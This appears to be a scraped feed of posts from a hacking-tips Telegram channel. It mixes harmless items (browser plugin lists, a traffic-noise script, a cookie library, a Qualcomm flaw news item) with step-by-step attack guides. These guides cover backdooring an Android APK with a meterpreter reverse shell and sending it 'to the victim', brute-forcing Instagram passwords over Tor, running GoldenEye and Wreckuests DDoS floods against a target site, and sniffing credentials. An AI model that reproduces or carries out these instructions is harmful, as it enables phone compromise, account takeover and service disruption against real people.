▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑How to generate fake traffic using
Traffic generator ?

A simple python script that generates random HTTP/DNS traffic noise in the background while you go about your regular web browsing, to make your web traffic data less valuable for selling and for extra obscurity.

1) Install requests if you do not have it already installed, using pip:

> pip install requests

2) Clone the repository

> git clone https://github.com/1tayH/noisy.git
Navigate into the noisy directory

3) cd noisy
Run the script

4) python noisy.py --config config.json

5) The program can accept a number of command line arguments:

$ python noisy.py --help
usage: noisy.py -h --log -l --config -c --timeout -t

🦑Commands :

-h, --help show this help message and exit
--log -l logging level
--config -c config file
--timeout -t for how long the crawler should be running, in seconds

🦑Build Using Docker

1) Build the image
docker build -t noisy .

Or if you'd like to build it for a Raspberry Pi (running Raspbian stretch):

2) docker build -f Dockerfile.pi -t noisy .

Create the container and run:

3) docker run -it noisy --config config.json

✅Verified by Undercode on

- Ubuntu

E N J O Y ❤️👍🏻
git topic
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Finding the Balance Between Speed & Accuracy During an Internet-wide Port Scanning #full #requested

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑https encryption is also cracked HEIST attack to obtain plaintext from encrypted data :

1) WHAT IS The TCP-Windows protocol ?


The TCP-Windows protocol is also called TCP Receive Window. It is a buffer on both ends of a TCP connection for temporarily saving incoming data. The data in this buffer will be sent to the application to make room for new incoming data. If the buffer is full, the data receiver will warn the sender that it cannot receive more data before the buffer is emptied. There are some details involved, but they are all very basic things. Generally, the device will notify the other party of the current size of its TCPWindows in the TCP Header information.

2) C O N D I T I O N S :

The conditions for the use of the HEIST attack are very simple, requiring only a few lines of simple javascript code, and no man-in-the-middle attack is required. First, the transmitted sensitive data will be captured and saved. This attack method can obtain private sensitive information such as bank card number, real name, phone number, and social security number. But as we all know, most of these data are encrypted by HTTPS. Then make a probe on the size and length of the encrypted data. Many websites use file compression technology to improve the loading speed of web pages, and attackers can just use the design flaws to decrypt the data payload (similar to BREACH attacks and CRIME attacks).

3) HEIST technology can use new APIs (Resource Timing and Fetch) to calculate the number of transmission frames and windows sent by the target host. Throughout the process, researchers can use a piece of JavaScript code to determine the actual size of the HTTPS response message. Then, the malicious HEIST code can cooperate with the BREACH technology to extract the encrypted information from the user's request data.

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑so hepful top google chrome plugins 2020 :

https://chrome.google.com/webstore/detail/tab-wrangler/egnjhciaieeiiohknchakcodbpgjnchh?hl=en

https://chrome.google.com/webstore/detail/the-great-suspender/klbibkeccnjlkjkiokjodocebajanakg?hl=en

https://chrome.google.com/webstore/detail/foxclocks/obcbigljfpgappaaofailjjoabiikckk?hl=en

https://chrome.google.com/webstore/detail/lastpass-free-password-ma/hdokiejnpimakedhajhdlcegeplioahd

https://chrome.google.com/webstore/detail/evernote-web-clipper/pioclpoplcdbaefihamjohnefbikjilc?hl=en

https://chrome.google.com/webstore/detail/ghostery-%E2%80%93-privacy-ad-blo/mlomiejdfkolichcflejclcbmpeaniij?hl=en

https://chrome.google.com/webstore/detail/adblock-plus-free-ad-bloc/cfhdojbkjhnklbpkdaibdccddilifddb

https://chrome.google.com/webstore/detail/hover-zoom%2B/pccckmaobkjjboncdfnnofkonhgpceea?hl=en

https://chrome.google.com/webstore/detail/panicbutton/faminaibgiklngmfpfbhmokfmnglamcm?hl=en

https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg

https://chrome.google.com/webstore/detail/evernote-web-clipper/pioclpoplcdbaefihamjohnefbikjilc?hl=en

enjoy ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑TOP 202 FIREFOX PLUGINS- HELPFUL :

https://addons.mozilla.org/en-US/firefox/addon/adblock-plus/

https://addons.mozilla.org/en-US/firefox/addon/ghostery/

https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/

https://addons.mozilla.org/en-US/firefox/addon/lightshot/

https://addons.mozilla.org/en-US/firefox/addon/umatrix/

https://addons.mozilla.org/en-US/firefox/addon/darkreader/

https://addons.mozilla.org/en-US/firefox/addon/clippings/

https://addons.mozilla.org/en-US/firefox/addon/
grammarly-1/

https://addons.mozilla.org/en-US/firefox/addon/videospeed/

https://addons.mozilla.org/en-US/firefox/addon/tabliss/

https://addons.mozilla.org/en-US/firefox/addon/gesturefy/

https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/

https://addons.mozilla.org/en-US/firefox/addon/image-search-options/

https://addons.mozilla.org/en-US/firefox/addon/cookie-autodelete/

https://addons.mozilla.org/en-US/firefox/addon/export-tabs-urls-and-titles/

https://addons.mozilla.org/en-US/firefox/addon/smart-referer/

enjoy ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Windows for Pentester_ Certutil

-What is certutil? What is Living off Land? -Working with certutil?
- What is Alternative Data Stream (ADS)?

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 Topic Hacking :

F E A T U R E S :

-Subdomains monitoring: put data to Discord, Slack or Telegram

-webhooks. See Subdomains Monitoring for more information.

-Multi-thread support for API querying, it makes that the maximun time that Findomain will take to search subdomains for any target is 15 seconds (in case of API's timeout).

-Parallel support for subdomains resolution, in good network conditions can resolv about 3.5k of subdomains per minute.
DNS over TLS support.

-Specific IPv4 or IPv6 query support.

-Discover subdomains without brute-force, it tool uses Certificate

-Transparency Logs and APIs.

-Discover only resolved subdomains.

-Discover subdomains IP for data analisis.

-Read target from user argument (-t) or file (-f).

-Write to one unique output file specified by the user all or only resolved subdomains.

-Write results to automatically named TXT output file(s).

-Hability to query directly the Findomain database created with
Subdomains Monitoring for previous discovered subdomains.

-Hability to import and work data discovered by other tools.

-Quiet mode to run it silently.

-Cross platform support: Any platform, it's written in Rust and Rust is multiplatform. See the documentation for instructions.

-Multiple API support.

-Possibility to use as subdomain resolver.

-Subdomain wildcard detection for accurate results.

-Support for subdomain discover using bruteforce method.

-Support for configuration file in TOML, JSON, HJSON, INI or YAML format.

-Custom DNS IP addresses for fast subdomains resolving (more than 60 per second by default, adjustable using the --threads option.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) $ git clone https://github.com/Edu4rdSHL/findomain.git -b develop # Only the develop branch is needed

2) $ cd findomain

3) $ cargo build --release

4) $ ./target/release/findomain

5) for linux

> $ chmod +x findomain-linux

> $ ./findomain-linux

C O M P A T I B I L I T Y :

Linux
Windows
MacOS
Aarch64 (Raspberry Pi)
NixOS
Docker

MORE TUTORIALS https://asciinema.org/a/3kHnCYTDsOp20ttgNXXgvCRjX

E N J O Y ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

24/24 posts enjoy & share us ❤️👍🏻

T.me/UndercodeTesting

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Sniffer may cause harm:

1) The sniffer can capture passwords

2) It can capture private or confidential information

3) It can be used to compromise the security of network neighbors, or to obtain higher-level access rights.

> In fact, If you have an unauthorized sniffer on the network, you think your system has been exposed to others. (You can try the sniffing function of Skyline 2)

4) Generally, we only sniff the first 200 to 300 bytes of each message. The username and password are included in this part, which is the real part we care about. Workers can also sniff all the packets on a given interface. If there is enough space for storage and enough for processing, they will find other very interesting things...

@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

someone ask about phishing facebook via termux no root #requested

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HACK INSTAGRAM WITH LINUX OS :

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) git clone https://github.com/Ethical-H4CK3R/Instagram.git

2) chmod -R 755 Instagram && cd Instagram

3) python instagram.py

4)get any wordlist example :

> > https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

> http://www.insidepro.team/

> https://wiki.skullsecurity.org/Passwords

> https://github.com/danielmiessler/SecLists/tree/master/Passwords

> https://github.com/berzerk0/Probable-Wordlists

> https://github.com/topics/password-cracking

(up to 12 Gb wordlists)

5) install Tor with: sudo apt-get install tor

6) python instagram.py Username wordlist.txt

E N J O Y ❤️👍🏻
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HACK WHATSAPP VIA LINUX-PARROT/KALI/UBUNTU :

A ) Install requirements :

1) apt-get install lib32stdc++6 lib32ncurses5 lib32z1

2) git clone https://github.com/SkullTech/apk-payload-injector

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

3) choose the APK PAYLOAD - recommended any cleaner apk

4) make sure to place both of the apk and the script you downloaded earlier in the same directory

5)type in terminal :

> ruby apk-embed-payload.rb cleanerapk.apk -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.x.xxx LPORT=xxxx

6)now type :
> msfconsole

7) type in terminal :

> use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST {local ip to listen on}
set LPORT {the port you set earlier}
exploit

8) now send the apk to the victim :))

9) after installing ——->> use the command drop_sms

10) recommended :
root the phone and simply spoof the MAC adress using a terminal, download from playstore like termux


11) to delet the android sms db use this command :

> delete data/data/com.android.providers.telephony/databases/mmssms.db

E N J O Y ❤️👍🏻
written by @medusaU
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑TOP TWITTER HACKING 2020 :
windows-linux

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) sudo apt install python-pip python-dev build-essential python2.7-dev python-pyexiv2 python-openssl

2) sudo pip install --upgrade pip

3) sudo pip install --upgrade virtualenv

4) sudo pip install --upgrade tweepy

5) sudo pip install --upgrade pillow

6) sudo pip install --upgrade exifread

7) sudo pip install --upgrade jinja2

8) sudo pip install --upgrade oauth2

9)download or clone https://github.com/vaguileradiaz/tinfoleak

10) Edit "tinfoleak.conf"

11) Use your favorite editor ;-)

12) Give value to these variables:
CONSUMER_KEY
CONSUMER_SECRET
ACCESS_TOKEN
ACCESS_TOKEN_SECRET

13) How to obtain these values:
https://developer.twitter.com/en/docs/basics/authentication/guides/access-tokens
Save "tinfoleak.conf"
Execute "tinfoleak.py"

E N J O Y ❤️👍🏻
U S E F O R L E A R N
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑HTTP-FLOOD TOPIC (TERMUX/LINUX)
Wreckuests is a script, which allows you to run DDoS attacks with HTTP-flood(GET/POST). It's written in pure Python and uses proxy-servers as "bots". OF COURSE, this script is not universal and you can't just drop Pentagon/NSA/whatever website with just a single mouse click. Each attack is unique, and for each website you'd need to search for vulnerabilities and exult them.

F E T U R E S :

-Cache bypass with URL parameters randomization
-CloudFlare detection and notification of
-Automatic gzip/deflate toggling
-HTTP Authentication bypass
-UserAgent substitution
-Referers randomizer
-HTTP proxy support

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) https://github.com/JamesJGoodwin/wreckuests.GIT

2) chmod +x install.sh

3) ./install.sh

REQUIRE ROOT FOR TERMUX USERS

4) python3 wreckuests.py -v <target url> -a <login:pass> -t <timeout>

E N J O Y ❤️👍🏻
U S E F O R L E A R N
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑updated 2020 node.js module for getting and setting HTTP(S) cookies
> Cookies can be signed to prevent tampering, using Keygrip. It can be used with the built-in node.js HTTP library, or as Connect/Express middleware.

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) open open any debian base terminal and type
> npm install

2) $ npm install cookies

3) express.createServer( Cookies.express( keys ) )

>This adds cookie support as a Connect middleware layer for use in Express apps, allowing inbound cookies to be read using req.cookies.get and outbound cookies to be set using res.cookies.set.

4) full usage on: https://github.com/pillarjs/cookies

🦑 F E A T U R E S :

1) Lazy: Since cookie verification against multiple keys could be expensive, cookies are only verified lazily when accessed, not eagerly on each request.

2) Secure: All cookies are httponly by default, and cookies sent over SSL are secure by default. An error will be thrown if you try to send secure cookies over an insecure socket.

3) Unobtrusive: Signed cookies are stored the same way as unsigned cookies, instead of in an obfuscated signing format. An additional signature cookie is stored for each signed cookie, using a standard naming convention (cookie-name.sig). This allows other libraries to access the original cookies without having to know the signing mechanism.

4) Agnostic: This library is optimized for use with Keygrip, but does not require it; you can implement your own signing scheme instead if you like and use this library only to read/write cookies. Factoring the signing into a separate library encourages code reuse and allows you to use the same signing library for other areas where signing is needed, such as in URLs.

E N J O Y ❤️👍🏻
U S E F O R L E A R N
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Qualcomm confirms that Snapdragon DSP flaws can expose 40% of smartphones to hackers :
#news

>Qualcomm has confirmed that it has found a huge flaw in their smartphone chipset, leaving the phone completely exposed to hackers. The vulnerability was discovered by Check Point security company. A large number of flaws in the Snapdragon DSP in Android phones can allow hackers to steal data, install hidden spyware that is difficult to find, and even completely damage the phone and make it unusable.

> Check Point publicly disclosed this flaw on Pwn2Own, revealing that the security setting of the DSP in the built-in Qualcomm Snapdragon processor phone was easily bypassed, and 400 exploitable flaws were found in the code.

> For security reasons, cDSP is authorized to OEM manufacturers and limited third-party software vendors for programming. The code running on the DSP is signed by Qualcomm. The security agency successfully demonstrated how Android applications can bypass Qualcomm’s signature and execute privileged code on the DSP, and what further security issues this will cause.. (check picture here after this telegram post)

> Hexagon SDK is the official way to prepare DSP-related code for manufacturers. Its SDK has serious bugs, which leads to hundreds of hidden vulnerabilities in Qualcomm's own and manufacturer codes. In fact, almost all DSP executable libraries embedded in Qualcomm-based smart phones will be attacked due to problems with the Hexagon SDK, and the resulting and exposed security vulnerabilities can be exploited by hackers.

#news
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑FASTEST DDOS FOR TERMUX -2020

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1) Open Terminal in Kali Linux or Termux in Android

2) mkdir ddos

3) cd ddos

4) pkg install python2

5) pkg install git

6) git clone https://github.com/jseidl/GoldenEye.git

7) cd GoldenEye/

8) ./goldeneye.py victim-website.com

9) python2 ./goldeneye.py victim-website.com

10) Add values for workers (-w), sockets (-s) and method (-m)
./goldeneye.py victim-website.com -w 100 -s 70 -m post

USE FOR LEARN
@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑What is Sniffing & how many categories :

> Sniffing sniffer cares about can be divided into the following categories:

1) Password
I think this is the reason for most illegal use of sniffer, sniffer can record the userid and passwd transmitted in plain text. Even if you use encryption during network transmission Data, like the data recorded by sniffer, may make the intruder try to figure out your algorithm while eating skewers at home.

2) Financial account
Many users are at ease using their credit card or cash account on the Internet, but sniffers can easily intercept the user name, password, credit card number, expiration date, account number, and pin sent online.

3) Peeping confidential or sensitive information and data
through interception Data packets, intruders can easily record the transfer of sensitive information between others, or simply intercept the entire email conversation process.

4) Spy on low-level protocol information.
This is a terrible thing, I think, by recording the underlying information protocol, such as recording the network interface address between two hosts, the remote network interface ip address, ip routing information, and the byte order number of the tcp connection.

5) This information will post a great harm to network security after being mastered by illegal intruders. Usually someone uses sniffers to collect this information for only one reason: he is conducting a fraud, (usually ip address fraud requires you to accurately insert the tcp connection Byte order number, which will be pointed out in a later article) If someone is very concerned about this issue, then the sniffer is just a prelude to him, and the problem will be much bigger in the future. (For advanced hackers, I think this is the only reason to use sniffer attacks)


@UndercodeTesting
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁